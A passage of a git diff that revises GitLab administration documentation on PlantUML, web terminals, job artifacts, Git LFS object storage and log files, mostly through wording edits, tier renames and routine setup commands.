--> + **Nomnoml** +<!-- vale gitlab.Spelling = YES --> + ```plaintext [nomnoml] .... @@ -159,4 +173,4 @@ Rel(banking_system, mainframe, "Uses") .... ``` - + diff --git a/doc/administration/integration/plantuml.md b/doc/administration/integration/plantuml.md index cd61dc9a2bf..dbbe17cccc8 100644 --- a/doc/administration/integration/plantuml.md +++ b/doc/administration/integration/plantuml.md @@ -5,18 +5,18 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# PlantUML & GitLab +# PlantUML & GitLab **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8537) in GitLab 8.16. When [PlantUML](https://plantuml.com) integration is enabled and configured in -GitLab we are able to create simple diagrams in AsciiDoc and Markdown documents +GitLab you can create diagrams in AsciiDoc and Markdown documents created in snippets, wikis, and repositories. ## PlantUML Server -Before you can enable PlantUML in GitLab; you need to set up your own PlantUML -server that will generate the diagrams. +Before you can enable PlantUML in GitLab; set up your own PlantUML +server to generate the diagrams. ### Docker @@ -26,12 +26,11 @@ With Docker, you can just run a container like this: docker run -d --name plantuml -p 8080:8080 plantuml/plantuml-server:tomcat ``` -The **PlantUML URL** will be the hostname of the server running the container. +The **PlantUML URL** is the hostname of the server running the container. -When running GitLab in Docker, it will need to have access to the PlantUML container. -The easiest way to achieve that is by using [Docker Compose](https://docs.docker.com/compose/). - -A simple `docker-compose.yml` file would be: +When running GitLab in Docker, it must have access to the PlantUML container. +You can achieve that by using [Docker Compose](https://docs.docker.com/compose/). +A basic `docker-compose.yml` file could contain: ```yaml version: "3" @@ -47,13 +46,12 @@ services: container_name: plantuml ``` -In this scenario, PlantUML will be accessible for GitLab at the URL +In this scenario, PlantUML is accessible to GitLab at the URL `http://plantuml:8080/`. ### Debian/Ubuntu -Installing and configuring your -own PlantUML server is easy in Debian/Ubuntu distributions using Tomcat. +You can also install and configure a PlantUML server in Debian/Ubuntu distributions using Tomcat. First you need to create a `plantuml.war` file from the source code: @@ -64,8 +62,7 @@ cd plantuml-server mvn package ``` -The above sequence of commands will generate a WAR file that can be deployed -using Tomcat: +The above sequence of commands generates a `.war` file you can deploy with Tomcat: ```shell sudo apt-get install tomcat8 @@ -74,17 +71,18 @@ sudo chown tomcat8:tomcat8 /var/lib/tomcat8/webapps/plantuml.war sudo service tomcat8 restart ``` -Once the Tomcat service restarts the PlantUML service will be ready and +After the Tomcat service restarts, the PlantUML service is ready and listening for requests on port 8080: ```plaintext http://localhost:8080/plantuml ``` -you can change these defaults by editing the `/etc/tomcat8/server.xml` file. +To change these defaults, edit the `/etc/tomcat8/server.xml` file. -Note that the default URL is different than when using the Docker-based image, -where the service is available at the root of URL with no relative path. Adjust +NOTE: +The default URL is different when using this approach. The Docker-based image +makes the service available at the root URL, with no relative path. Adjust the configuration below accordingly. ### Making local PlantUML accessible using custom GitLab setup @@ -112,7 +110,7 @@ To activate the changes, run the following command: sudo gitlab-ctl reconfigure ``` -Note that the redirection through GitLab **must** be configured +Note that the redirection through GitLab must be configured when running [GitLab with TLS](https://docs.gitlab.com/omnibus/settings/ssl.html) due to PlantUML's use of the insecure HTTP protocol. Newer browsers such as [Google Chrome 86+](https://www.chromestatus.com/feature/4926989725073408) @@ -120,7 +118,7 @@ do not load insecure HTTP resources on a page served over HTTPS. ### Security -PlantUML has features that allows fetching network resources. +PlantUML has features that allow fetching network resources. ```plaintext @startuml @@ -136,18 +134,18 @@ stop; ## GitLab You need to enable PlantUML integration from Settings under Admin Area. To do -that, login with an Admin account and do following: +that, sign in with an Administrator account, and then do following: -- In GitLab, go to **Admin Area > Settings > General**. -- Expand the **PlantUML** section. -- Check **Enable PlantUML** checkbox. -- Set the PlantUML instance as `https://gitlab.example.com/-/plantuml/`. +1. In GitLab, go to **Admin Area > Settings > General**. +1. Expand the **PlantUML** section. +1. Select the **Enable PlantUML** check box. +1. Set the PlantUML instance as `https://gitlab.example.com/-/plantuml/`. NOTE: If you are using a PlantUML server running v1.2020.9 and above (for example, [plantuml.com](https://plantuml.com)), set the `PLANTUML_ENCODING` -environment variable to enable the `deflate` compression. On Omnibus, -this can be done set in `/etc/gitlab.rb`: +environment variable to enable the `deflate` compression. On Omnibus GitLab, +this can be set in `/etc/gitlab.rb`: ```ruby gitlab_rails['env'] = { 'PLANTUML_ENCODING' => 'deflate' } @@ -191,9 +189,11 @@ our AsciiDoc snippets, wikis, and repositories using delimited blocks: Alice -> Bob: hi ``` - You can also use the `uml::` directive for compatibility with [`sphinxcontrib-plantuml`](https://pypi.org/project/sphinxcontrib-plantuml/), but please note that we currently only support the `caption` option. + You can also use the `uml::` directive for compatibility with + [`sphinxcontrib-plantuml`](https://pypi.org/project/sphinxcontrib-plantuml/), + but GitLab only supports the `caption` option. -The above blocks will be converted to an HTML image tag with source pointing to the +The above blocks are converted to an HTML image tag with source pointing to the PlantUML instance. If the PlantUML server is correctly configured, this should render a nice diagram instead of the block: @@ -202,12 +202,18 @@ Bob -> Alice : hello Alice -> Bob : hi ``` -Inside the block you can add any of the supported diagrams by PlantUML such as -[Sequence](https://plantuml.com/sequence-diagram), [Use Case](https://plantuml.com/use-case-diagram), -[Class](https://plantuml.com/class-diagram), [Activity](https://plantuml.com/activity-diagram-legacy), -[Component](https://plantuml.com/component-diagram), [State](https://plantuml.com/state-diagram), -and [Object](https://plantuml.com/object-diagram) diagrams. You do not need to use the PlantUML -diagram delimiters `@startuml`/`@enduml` as these are replaced by the AsciiDoc `plantuml` block. +Inside the block you can add any of the diagrams PlantUML supports, such as: + +- [Sequence](https://plantuml.com/sequence-diagram) +- [Use Case](https://plantuml.com/use-case-diagram) +- [Class](https://plantuml.com/class-diagram) +- [Activity](https://plantuml.com/activity-diagram-legacy) +- [Component](https://plantuml.com/component-diagram) +- [State](https://plantuml.com/state-diagram), +- [Object](https://plantuml.com/object-diagram) + +You do not need to use the PlantUML +diagram delimiters `@startuml`/`@enduml`, as these are replaced by the AsciiDoc `plantuml` block. Some parameters can be added to the AsciiDoc block definition: @@ -217,4 +223,4 @@ Some parameters can be added to the AsciiDoc block definition: - `width`: Width attribute added to the image tag. - `height`: Height attribute added to the image tag. -Markdown does not support any parameters and will always use PNG format. +Markdown does not support any parameters and always uses PNG format. diff --git a/doc/administration/integration/terminal.md b/doc/administration/integration/terminal.md index f4c242b6e72..0f26eb83d17 100644 --- a/doc/administration/integration/terminal.md +++ b/doc/administration/integration/terminal.md @@ -8,14 +8,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7690) in GitLab 8.15. -NOTE: -Only project maintainers and owners can access web terminals. - With the introduction of the [Kubernetes integration](../../user/project/clusters/index.md), -GitLab gained the ability to store and use credentials for a Kubernetes cluster. -One of the things it uses these credentials for is providing access to +GitLab can store and use credentials for a Kubernetes cluster. +GitLab uses these credentials to provide access to [web terminals](../../ci/environments/index.md#web-terminals) for environments. +NOTE: +Only project maintainers and owners can access web terminals. + ## How it works A detailed overview of the architecture of web terminals and how they work @@ -53,15 +53,13 @@ detail below. NOTE: AWS Elastic Load Balancers (ELBs) do not support web sockets. -AWS Application Load Balancers (ALBs) must be used if you want web terminals -to work. See [AWS Elastic Load Balancing Product Comparison](https://aws.amazon.com/elasticloadbalancing/features/#compare) +If you want web terminals to work, use AWS Application Load Balancers (ALBs). +Read [AWS Elastic Load Balancing Product Comparison](https://aws.amazon.com/elasticloadbalancing/features/#compare) for more information. As web terminals use WebSockets, every HTTP/HTTPS reverse proxy in front of -Workhorse needs to be configured to pass the `Connection` and `Upgrade` headers -through to the next one in the chain. If you installed GitLab using Omnibus, or -from source, starting with GitLab 8.15, this should be done by the default -configuration, so there's no need for you to do anything. +Workhorse must be configured to pass the `Connection` and `Upgrade` headers +to the next one in the chain. GitLab is configured by default to do so. However, if you run a [load balancer](../load_balancer.md) in front of GitLab, you may need to make some changes to your configuration. These @@ -73,17 +71,17 @@ guides document the necessary steps for a selection of popular reverse proxies: - [Varnish](https://varnish-cache.org/docs/4.1/users-guide/vcl-example-websockets.html) Workhorse doesn't let WebSocket requests through to non-WebSocket endpoints, so -it's safe to enable support for these headers globally. If you'd rather had a -narrower set of rules, you can restrict it to URLs ending with `/terminal.ws` -(although this may still have a few false positives). +it's safe to enable support for these headers globally. If you prefer a +narrower set of rules, you can restrict it to URLs ending with `/terminal.ws`. +This approach may still result in a few false positives. If you installed from source, or have made any configuration changes to your Omnibus installation before upgrading to 8.15, you may need to make some changes -to your configuration. See the [Upgrading Community Edition and Enterprise -Edition from source](../../update/upgrading_from_source.md#nginx-configuration) -document for more details. +to your configuration. Read +[Upgrading Community Edition and Enterprise Edition from source](../../update/upgrading_from_source.md#nginx-configuration) +for more details. -If you'd like to disable web terminal support in GitLab, just stop passing +To disable web terminal support in GitLab, stop passing the `Connection` and `Upgrade` hop-by-hop headers in the *first* HTTP reverse proxy in the chain. For most users, this is the NGINX server bundled with Omnibus GitLab, in which case, you need to: @@ -104,4 +102,6 @@ they receive a `Connection failed` message. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8413) in GitLab 8.17. Terminal sessions, by default, do not expire. -You can limit terminal session lifetime in your GitLab instance. To do so, navigate to [**Admin Area > Settings > Web terminal**](../../user/admin_area/settings/index.md#general), and set a `max session time`. +You can limit terminal session lifetime in your GitLab instance. To do so, +go to [**Admin Area > Settings > Web terminal**](../../user/admin_area/settings/index.md#general), +and set a `max session time`. diff --git a/doc/administration/invalidate_markdown_cache.md b/doc/administration/invalidate_markdown_cache.md index 75bee6e0c9a..211316534ee 100644 --- a/doc/administration/invalidate_markdown_cache.md +++ b/doc/administration/invalidate_markdown_cache.md @@ -5,13 +5,13 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Invalidate Markdown Cache +# Invalidate Markdown Cache **(FREE)** For performance reasons, GitLab caches the HTML version of Markdown text -(e.g. issue and merge request descriptions, comments). It's possible -that these cached versions become outdated, for example -when the `external_url` configuration option is changed - causing links -in the cached text to refer to the old URL. +in fields like comments, issue descriptions, and merge request descriptions. These +cached versions can become outdated, such as +when the `external_url` configuration option is changed. Links +in the cached text would still refer to the old URL. To avoid this problem, the administrator can invalidate the existing cache by increasing the `local_markdown_version` setting in application settings. This can diff --git a/doc/administration/issue_closing_pattern.md b/doc/administration/issue_closing_pattern.md index 6a5b90ae963..32d367bb15e 100644 --- a/doc/administration/issue_closing_pattern.md +++ b/doc/administration/issue_closing_pattern.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Issue closing pattern **(CORE ONLY)** +# Issue closing pattern **(FREE SELF)** NOTE: This is the administration documentation. There is a separate [user documentation](../user/project/issues/managing_issues.md#closing-issues-automatically) diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index 5d07e7d1b26..3f8aca2f1ff 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -91,7 +91,7 @@ _The artifacts are stored by default in > [GitLab Premium](https://about.gitlab.com/pricing/) 9.4. > - Since version 9.5, artifacts are [browsable](../ci/pipelines/job_artifacts.md#browsing-artifacts), > when object storage is enabled. 9.4 lacks this feature. -> - Since version 10.6, available in [GitLab Core](https://about.gitlab.com/pricing/) +> - Since version 10.6, available in [GitLab Free](https://about.gitlab.com/pricing/). > - Since version 11.0, we support `direct_upload` to S3. If you don't want to use the local disk where GitLab is installed to store the @@ -339,7 +339,7 @@ an expiry for the artifacts, they are marked for deletion right after that date Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq -runs every hour at 50 minutes (`50 * * * *`). +runs every 7 minutes (`*/7 * * * *`). To change the default schedule on which the artifacts are expired, follow the steps below. @@ -350,7 +350,7 @@ steps below. your schedule in cron syntax: ```ruby - gitlab_rails['expire_build_artifacts_worker_cron'] = "50 * * * *" + gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *" ``` 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -362,20 +362,20 @@ steps below. ```yaml expire_build_artifacts_worker: - cron: "50 * * * *" + cron: "*/7 * * * *" ``` 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the -default artifacts expiration setting, which you can find in the [CI/CD Admin settings](../user/admin_area/settings/continuous_integration.md). +default artifacts expiration setting, which you can find in the [CI/CD Administration settings](../user/admin_area/settings/continuous_integration.md). ## Validation for dependencies > Introduced in GitLab 10.3. To disable [the dependencies validation](../ci/yaml/README.md#when-a-dependent-job-fails), -you can enable the `ci_disable_validates_dependencies` feature flag from a Rails console. +you can enable the `ci_validate_build_dependencies_override` feature flag from a Rails console. **In Omnibus installations:** @@ -388,7 +388,7 @@ you can enable the `ci_disable_validates_dependencies` feature flag from a Rails 1. Enable the feature flag to disable the validation: ```ruby - Feature.enable(:ci_disable_validates_dependencies) + Feature.enable(:ci_validate_build_dependencies_override) ``` **In installations from source:** @@ -403,7 +403,7 @@ you can enable the `ci_disable_validates_dependencies` feature flag from a Rails 1. Enable the feature flag to disable the validation: ```ruby - Feature.enable(:ci_disable_validates_dependencies) + Feature.enable(:ci_validate_build_dependencies_override) ``` ## Set the maximum file size of the artifacts diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md index b2c6864e671..1afadcaf668 100644 --- a/doc/administration/job_logs.md +++ b/doc/administration/job_logs.md @@ -73,7 +73,7 @@ these steps to move the logs to a new location without losing any data. ``` Use `--ignore-existing` so you don't override new job logs with older versions of the same log. -1. Unpause continuous integration data processing by editing `/etc/gitlab/gitlab.rb` and removing the `sidekiq` setting you updated earlier. +1. Resume continuous integration data processing by editing `/etc/gitlab/gitlab.rb` and removing the `sidekiq` setting you updated earlier. 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Remove the old job logs storage location: diff --git a/doc/administration/job_traces.md b/doc/administration/job_traces.md deleted file mode 100644 index 2dbcf5d6705..00000000000 --- a/doc/administration/job_traces.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'job_logs.md' ---- - -This document was moved to [another location](job_logs.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md index bc349536a0c..862c26abac8 100644 --- a/doc/administration/lfs/index.md +++ b/doc/administration/lfs/index.md @@ -6,17 +6,17 @@ type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs_administration.html' --- -# GitLab Git Large File Storage (LFS) Administration **(CORE ONLY)** +# GitLab Git Large File Storage (LFS) Administration **(FREE SELF)** > - Git LFS is supported in GitLab starting with version 8.2. > - Support for object storage, such as AWS S3, was introduced in 10.0. > - LFS is enabled in GitLab self-managed instances by default. -Documentation on how to use Git LFS are under [Managing large binary files with Git LFS doc](../../topics/git/lfs/index.md). +Documentation about how to use Git LFS are under [Managing large binary files with Git LFS doc](../../topics/git/lfs/index.md). ## Requirements -- Users need to install [Git LFS client](https://git-lfs.github.com) version 1.0.1 and up. +- Users need to install [Git LFS client](https://git-lfs.github.com) version 1.0.1 or later. ## Configuration @@ -25,9 +25,9 @@ GitLab is installed on. There are various configuration options to help GitLab server administrators: -- Enabling/disabling Git LFS support -- Changing the location of LFS object storage -- Setting up object storage supported by [Fog](http://fog.io/about/provider_documentation.html) +- Enabling/disabling Git LFS support. +- Changing the location of LFS object storage. +- Setting up object storage supported by [Fog](http://fog.io/about/provider_documentation.html). ### Configuration for Omnibus installations @@ -43,7 +43,7 @@ gitlab_rails['lfs_enabled'] = false gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects" ``` -After you update settings in `/etc/gitlab/gitlab.rb`, make sure to run [Omnibus GitLab reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). +After you update settings in `/etc/gitlab/gitlab.rb`, run [Omnibus GitLab reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). ### Configuration for installations from source @@ -58,14 +58,12 @@ In `config/gitlab.yml`: ## Storing LFS objects in remote object storage -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2760) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0. Brought to GitLab Core in 10.7. - -It is possible to store LFS objects in remote object storage which allows you -to offload local hard disk R/W operations, and free up disk space significantly. +You can store LFS objects in remote object storage. This allows you +to offload reads and writes to the local disk, and free up disk space significantly. GitLab is tightly integrated with `Fog`, so you can refer to its [documentation](http://fog.io/about/provider_documentation.html) to check which storage services can be integrated with GitLab. You can also use external object storage in a private local network. For example, -[MinIO](https://min.io/) is a standalone object storage service, is easy to set up, and works well with GitLab instances. +[MinIO](https://min.io/) is a standalone object storage service that works with GitLab instances. GitLab provides two different options for the uploading mechanism: "Direct upload" and "Background upload". @@ -78,26 +76,26 @@ This section describes the earlier configuration format. **Option 1. Direct upload** -1. User pushes an `lfs` file to the GitLab instance -1. GitLab-workhorse uploads the file directly to the external object storage -1. GitLab-workhorse notifies GitLab-rails that the upload process is complete +1. User pushes an `lfs` file to the GitLab instance. +1. GitLab-workhorse uploads the file directly to the external object storage. +1. GitLab-workhorse notifies GitLab-rails that the upload process is complete. **Option 2. Background upload** -1. User pushes an `lfs` file to the GitLab instance -1. GitLab-rails stores the file in the local file storage -1. GitLab-rails then uploads the file to the external object storage asynchronously +1. User pushes an `lfs` file to the GitLab instance. +1. GitLab-rails stores the file in the local file storage. +1. GitLab-rails then uploads the file to the external object storage asynchronously. The following general settings are supported. -| Setting | Description | Default | -|---------|-------------|---------| -| `enabled` | Enable/disable object storage | `false` | -| `remote_directory` | The bucket name where LFS objects will be stored| | -| `direct_upload` | Set to true to enable direct upload of LFS without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | `false` | -| `background_upload` | Set to false to disable automatic upload. Option may be removed once upload is direct to S3 | `true` | -| `proxy_download` | Set to true to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data | `false` | -| `connection` | Various connection options described below | | +| Setting | Description | Default | +|---------------------|-------------|---------| +| `enabled` | Enable/disable object storage. | `false` | +| `remote_directory` | The bucket name where LFS objects are stored. | | +| `direct_upload` | Set to true to enable direct upload of LFS without the need of local shared storage. Option may be removed after we decide to support only single storage for all files. | `false` | +| `background_upload` | Set to false to disable automatic upload. Option may be removed once upload is direct to S3. | `true` | +| `proxy_download` | Set to true to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | `false` | +| `connection` | Various connection options described below. | | See [the available connection settings for different providers](../object_storage.md#connection-settings). @@ -131,10 +129,9 @@ end ### S3 for Omnibus installations -On Omnibus installations, the settings are prefixed by `lfs_object_store_`: +On Omnibus GitLab installations, the settings are prefixed by `lfs_object_store_`: -1. Edit `/etc/gitlab/gitlab.rb` and add the following lines by replacing with - the values you want: +1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, replacing values based on your needs: ```ruby gitlab_rails['lfs_object_store_enabled'] = true @@ -151,17 +148,17 @@ On Omnibus installations, the settings are prefixed by `lfs_object_store_`: } ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Migrate any existing local LFS objects to the object storage: ```shell gitlab-rake gitlab:lfs:migrate ``` - This will migrate existing LFS objects to object storage. New LFS objects - will be forwarded to object storage unless + This migrates existing LFS objects to object storage. New LFS objects + are forwarded to object storage unless `gitlab_rails['lfs_object_store_background_upload']` and `gitlab_rails['lfs_object_store_direct_upload']` is set to `false`. -1. Optional: Verify all files migrated properly. +1. (Optional) Verify all files migrated properly. From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database) (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts: @@ -204,17 +201,17 @@ For source installations the settings are nested under `lfs:` and then path_style: true ``` -1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file, and then [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect. 1. Migrate any existing local LFS objects to the object storage: ```shell sudo -u git -H bundle exec rake gitlab:lfs:migrate RAILS_ENV=production ``` - This will migrate existing LFS objects to object storage. New LFS objects - will be forwarded to object storage unless `background_upload` and `direct_upload` is set to + This migrates existing LFS objects to object storage. New LFS objects + are forwarded to object storage unless `background_upload` and `direct_upload` is set to `false`. -1. Optional: Verify all files migrated properly. +1. (Optional) Verify all files migrated properly. From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts: ```shell @@ -233,7 +230,7 @@ For source installations the settings are nested under `lfs:` and then ### Migrating back to local storage -In order to migrate back to local storage: +To migrate back to local storage: 1. Set both `direct_upload` and `background_upload` to `false` under the LFS object storage settings. Don't forget to restart GitLab. 1. Run `rake gitlab:lfs:migrate_to_local` on your console. @@ -241,17 +238,18 @@ In order to migrate back to local storage: ## Storage statistics -You can see the total storage used for LFS objects on groups and projects -in the administration area, as well as through the [groups](../../api/groups.md) -and [projects APIs](../../api/projects.md). +You can see the total storage used for LFS objects on groups and projects: + +- In the administration area. +- In the [groups](../../api/groups.md) and [projects APIs](../../api/projects.md). ## Troubleshooting: `Google::Apis::TransmissionError: execution expired` If LFS integration is configured with Google Cloud Storage and background uploads (`background_upload: true` and `direct_upload: false`), Sidekiq workers may encounter this error. This is because the uploading timed out with very large files. -LFS files up to 6Gb can be uploaded without any extra steps, otherwise you need to use the following workaround. +LFS files up to 6 GB can be uploaded without any extra steps, otherwise you need to use the following workaround. -Log into Rails console: +Sign in to Rails console: ```shell sudo gitlab-rails console @@ -282,6 +280,6 @@ See more information in [!19581](https://gitlab.com/gitlab-org/gitlab-foss/-/mer - Support for removing unreferenced LFS objects was added in 8.14 onward. - LFS authentications via SSH was added with GitLab 8.12. -- Only compatible with the Git LFS client versions 1.1.0 and up, or 1.0.2. -- The storage statistics currently count each LFS object multiple times for +- Only compatible with the Git LFS client versions 1.1.0 and later, or 1.0.2. +- The storage statistics count each LFS object multiple times for every project linking to it. diff --git a/doc/administration/lfs/lfs_administration.md b/doc/administration/lfs/lfs_administration.md deleted file mode 100644 index a275efce5bb..00000000000 --- a/doc/administration/lfs/lfs_administration.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'index.md' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md deleted file mode 100644 index 69c401acb86..00000000000 --- a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../topics/git/lfs/index.md' ---- - -This document was moved to [another location](../../topics/git/lfs/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md deleted file mode 100644 index 16095c1dbf6..00000000000 --- a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md' ---- - -This document was moved to [another location](../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/logs.md b/doc/administration/logs.md index 3d5ba903941..17ecb324417 100644 --- a/doc/administration/logs.md +++ b/doc/administration/logs.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Log system +# Log system **(FREE SELF)** GitLab has an advanced log system where everything is logged, so you can analyze your instance using various system log files. In addition to @@ -93,6 +93,8 @@ which correspond to: 1. `elasticsearch_calls`: total number of calls to Elasticsearch 1. `elasticsearch_duration_s`: total time taken by Elasticsearch calls +1. `elasticsearch_timed_out_count`: total number of calls to Elasticsearch that + timed out and therefore returned partial results ActionCable connection and subscription events are also logged to this file and they follow the same format above. The `method`, `path`, and `format` fields are not applicable, and are always empty. @@ -381,16 +383,18 @@ only. For example: } ``` -## `audit_json.log` +## `audit_json.log` **(FREE)** NOTE: -Most log entries only exist in [GitLab Starter](https://about.gitlab.com/pricing/), however a few exist in GitLab Core. +GitLab Free tracks a small number of different audit events. +[GitLab Premium](https://about.gitlab.com/pricing/) tracks many more. This file lives in `/var/log/gitlab/gitlab-rails/audit_json.log` for Omnibus GitLab packages or in `/home/git/gitlab/log/audit_json.log` for installations from source. -Changes to group or project settings are logged to this file. For example: +Changes to group or project settings and memberships (`target_details`) are logged to this file. +For example: ```json { @@ -411,11 +415,14 @@ Changes to group or project settings are logged to this file. For example: ## Sidekiq Logs +NOTE: +In Omnibus GitLab `12.10` or earlier, the Sidekiq log lives in `/var/log/gitlab/gitlab-rails/sidekiq.log`. + For Omnibus installations, some Sidekiq logs reside in `/var/log/gitlab/sidekiq/current` and as follows. ### `sidekiq.log` -This file lives in `/var/log/gitlab/gitlab-rails/sidekiq.log` for +This file lives in `/var/log/gitlab/sidekiq/current` for Omnibus GitLab packages or in `/home/git/gitlab/log/sidekiq.log` for installations from source. @@ -772,7 +779,7 @@ are generated: - For Omnibus GitLab packages, in `/var/log/gitlab/gitlab-rails/web_exporter.log`. - For installations from source, in `/home/git/gitlab/log/web_exporter.log`. -## `database_load_balancing.log` **(PREMIUM ONLY)** +## `database_load_balancing.log` **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15442) in GitLab 12.3. @@ -782,7 +789,7 @@ It's stored at: - `/var/log/gitlab/gitlab-rails/database_load_balancing.log` for Omnibus GitLab packages. - `/home/git/gitlab/log/database_load_balancing.log` for installations from source. -## `elasticsearch.log` **(STARTER ONLY)** +## `elasticsearch.log` **(PREMIUM SELF)** > Introduced in GitLab 12.6. @@ -856,7 +863,7 @@ For example: { "severity":"INFO", "time":"2020-04-22T16:04:50.691Z","correlation_id":"04f1366e-57a1-45b8-88c1-b00b23dc3616","class":"Projects::ImportExport::ExportService","current_user":"John Doe","project_full_path":"group1/test-export","file_path":"/path/to/archive","gc_stats":{"count":{"before":127,"after":127,"diff":0},"heap_allocated_pages":{"before":10369,"after":10369,"diff":0},"heap_sorted_length":{"before":10369,"after":10369,"diff":0},"heap_allocatable_pages":{"before":0,"after":0,"diff":0},"heap_available_slots":{"before":4226409,"after":4226409,"diff":0},"heap_live_slots":{"before":2542709,"after":2641420,"diff":98711},"heap_free_slots":{"before":1683700,"after":1584989,"diff":-98711},"heap_final_slots":{"before":0,"after":0,"diff":0},"heap_marked_slots":{"before":2542704,"after":2542704,"diff":0},"heap_eden_pages":{"before":10369,"after":10369,"diff":0},"heap_tomb_pages":{"before":0,"after":0,"diff":0},"total_allocated_pages":{"before":10369,"after":10369,"diff":0},"total_freed_pages":{"before":0,"after":0,"diff":0},"total_allocated_objects":{"before":24896308,"after":24995019,"diff":98711},"total_freed_objects":{"before":22353599,"after":22353599,"diff":0},"malloc_increase_bytes":{"before":140032,"after":6650240,"diff":6510208},"malloc_increase_bytes_limit":{"before":25804104,"after":25804104,"diff":0},"minor_gc_count":{"before":94,"after":94,"diff":0},"major_gc_count":{"before":33,"after":33,"diff":0},"remembered_wb_unprotected_objects":{"before":34284,"after":34284,"diff":0},"remembered_wb_unprotected_objects_limit":{"before":68568,"after":68568,"diff":0},"old_objects":{"before":2404725,"after":2404725,"diff":0},"old_objects_limit":{"before":4809450,"after":4809450,"diff":0},"oldmalloc_increase_bytes":{"before":140032,"after":6650240,"diff":6510208},"oldmalloc_increase_bytes_limit":{"before":68537556,"after":68537556,"diff":0}},"time_to_finish":0.12298400001600385,"number_of_sql_calls":70,"memory_usage":"0.0 MiB","label":"process_48616"} ``` -## `geo.log` **(PREMIUM ONLY)** +## `geo.log` **(PREMIUM SELF)** > Introduced in 9.5. @@ -973,9 +980,13 @@ For Omnibus GitLab installations, Redis logs reside in `/var/log/gitlab/redis/`. For Omnibus GitLab installations, Alertmanager logs reside in `/var/log/gitlab/alertmanager/`. +<!-- vale gitlab.Spelling = NO --> + ## Crond Logs -For Omnibus GitLab installations, `crond` logs reside in `/var/log/gitlab/crond/`. +For Omnibus GitLab installations, crond logs reside in `/var/log/gitlab/crond/`. + +<!-- vale gitlab.Spelling = YES --> ## Grafana Logs @@ -983,7 +994,7 @@ For Omnibus GitLab installations, Grafana logs reside in `/var/log/gitlab/grafan ## LogRotate Logs -For Omnibus GitLab installations, logrotate logs reside in `/var/log/gitlab/logrotate/`. +For Omnibus GitLab installations, `logrotate` logs reside in `/var/log/gitlab/logrotate/`. ## GitLab Monitor Logs @@ -1009,7 +1020,7 @@ installations from source. Performance bar statistics (currently only duration of SQL queries) are recorded in that file. For example: ```json 